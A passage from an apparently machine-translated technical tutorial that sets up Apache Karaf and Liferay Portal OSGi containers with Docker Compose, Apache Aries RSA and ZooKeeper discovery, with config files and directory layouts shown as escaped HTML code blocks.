&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;apache/karaf:4.2.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sh&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;        clean&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./karaf-instance-1/deploy:/opt/apache-karaf/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;8101-8105:8101&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;karaf-instance-2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;apache/karaf:4.2.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sh&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;        clean&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./karaf-instance-1/deploy:/opt/apache-karaf/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;8106-8110:8101&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;liferay-instance-1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;liferay/portal:7.3.3-ga4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./liferay-instance-1/deploy:/etc/liferay/mount/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./liferay-instance-1/files:/etc/liferay/mount/files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;6080:8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;21311:11311&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;9201:9201&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Docker Compose file for the definition of the services necessary for the implementation of the Remote µServices scenario&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The contents of the docker-compose.yml should be clear enough. A single
note what i would like to do is about the
&lt;a href=&quot;https://docs.docker.com/compose/compose-file/#command&quot;&gt;&lt;strong&gt;command&lt;/strong&gt;&lt;/a&gt; of
Apache Karaf service that I wanted to override (see
&lt;a href=&quot;https://docs.docker.com/engine/reference/builder/#cmd&quot;&gt;CMD&lt;/a&gt;) for two reasons.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Update the configuration of the Maven repositories. In particular the exchange
protocol from http to https, this is to avoid the HTTP/501 error in case
update and/or installation of new &lt;a href=&quot;https://karaf.apache.org/manual/latest/#_feature_and_resolver&quot;&gt;Apache Karaf Feature&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Update the Apache Karaf configuration to install le by default
features of Apache Aries RSA. This way we avoid having to do it
later from the console.&lt;/li&gt;&lt;li&gt;Start Apache Karaf with the clean parameter &lt;a href=&quot;https://karaf.apache.org/manual/latest/#_cleaning_the_karaf_state&quot;&gt;Cleaning the Karaf state&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Console 1 shows the structure of the project that allows you to pull up i
services via docker compose. Each service has its own directory inside
which then contains further directories (deployment and configuration)
and file.&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;deploy&lt;/strong&gt; directory referencing the Apache Karaf service contains the
configuration files for Apache ZooKeeper, Apache Karaf and the .jar files
bundles implementing the &lt;strong&gt;Who I am&lt;/strong&gt; service (see Table 2).&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;deploy&lt;/strong&gt; directory which refers to the Liferay Portal service is the
bundle hot-deploy directory. They will eventually go to this directory
placed the JAR files of the API and Consumer bundles of the &lt;strong&gt;Who I am&lt;/strong&gt; e
&lt;strong&gt;Raspberry Pi&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;files/osgi/configs&lt;/strong&gt; directory which references the Liferay Portal service,
contains the configuration file for Apache ZooKeeper.&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;files/osgi/modules&lt;/strong&gt; directory which refers to the Liferay Portal service,
contains all the bundles needed to install on the OSGi container of
Liferay support for Apache Aries RSA. Furthermore, within the same
directory, there are the JARs of the API and Consumer bundles of &lt;strong&gt;Who I am&lt;/strong&gt;
and &lt;strong&gt;Raspberry Pi&lt;/strong&gt; services.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── docker-compose.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;└── liferay-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ├── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    └── files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        └── osgi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ├── configs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            └── modules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Docker-osgi-remote-services-example project structure&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;52-apache-aries-rsa-setup-for-osgi-containers&quot;&gt;5.2 Apache Aries RSA setup for OSGi containers&lt;/h3&gt;&lt;p&gt;Before we can remotely expose in our µServices, it needs to be
Apache Aries RSA installed on each of the OSGi containers, including Liferay.&lt;/p&gt;&lt;p&gt;To do this, I preferred to act directly at the docker level
he composed, in this way, once the services are up, everything will be ready for
enjoy remote µServices in action.&lt;/p&gt;&lt;p&gt;Of course you can install Apache Aries RSA later, but for
as much as possible we always try to make the most of our tools
arrangement.&lt;/p&gt;&lt;p&gt;Apache Karaf side, installing Apache Aries RSA is really simple,
the following configuration files are enough, already included in the docker project
compose (see karaf-instance-1/deploy directory).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;org.apache.karaf.features.cfg&lt;/strong&gt;. Using this configuration file is
&lt;strong&gt;rsa-features&lt;/strong&gt; address was added and indicated which bundle
install in the start-up phase of Apache Karaf.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/strong&gt;. Using this file was
configured the address and port of the Discovery service, which in this
case is represented by Apache ZooKeeper.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Below is part of the contents of the configuration file of the Apacke Karaf
features of our interest. Specifically do refer to line 9 and from line 34 to line 36.
Thus Apache Karaf is instructed to install the bundles upon departure
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#service.component-service.component.runtime&quot;&gt;SCR&lt;/a&gt;
(Service Component Runtime), aries-rsa-provider-tcp and aries-rsa-discovery-zookeeper.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Comma separated list of features repositories to register by default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;featuresRepositories&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/standard/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/spring/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/enterprise/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/framework/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.aries.rsa/rsa-features/1.14.0/xml/features&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Defines if the boot features are started in asynchronous mode (in a dedicated thread)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;featuresBoot&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    instance/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    package/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    log/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ssh/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    framework/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    system/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    eventadmin/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    feature/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    shell/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    management/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    service/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    jaas/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    deployer/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    diagnostic/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    wrap/2.6.1, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    bundle/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    config/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    kar/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    scr/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    aries-rsa-provider-tcp/1.14.0, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    aries-rsa-discovery-zookeeper/1.14.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Configuration file org.apache.karaf.features.cfg&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The hostname and port are set through the two properties shown below
of the Apache ZooKeeper service (see service definition
zookeeper-instance on the docker compose file).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper.host&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper.port&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=2181&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Configuration file org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;On the Liferay Portal side, installing Apache Aries RSA support is a little bit
more boring. What you need to do is download the Apache Aries RSA bundles and
Apache ZooKeeper from the Maven repository and the Apache ZooKeeper site,
then put them in the hot-deploy directory
($LIFERAY_HOME/deploy) for installation.&lt;/p&gt;&lt;p&gt;The &lt;em&gt;org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/em&gt; configuration file for the
Discovery service should instead be placed inside the directory
$LIFERAY_HOME/osgi/configs.&lt;/p&gt;&lt;p&gt;Thanks to docker compose you won&amp;#x27;t have to do any of that, services
they will start already configured. The one shown below is the structure of the
docker compose project, which allows you to pull up all OSGi containers already
configured and ready to use, with the projects&amp;#x27; OSGi bundles also installed
&lt;strong&gt;Who I am&lt;/strong&gt; and &lt;strong&gt;Raspberry Pi&lt;/strong&gt; distributed according to the diagram in Figure 4.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── docker-compose.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.karaf.features.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       └── org.ops4j.pax.url.mvn.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.karaf.features.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       └── org.ops4j.pax.url.mvn.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;└── liferay-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ├── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    └── files&lt;/span&gt;&lt;/span&gt;
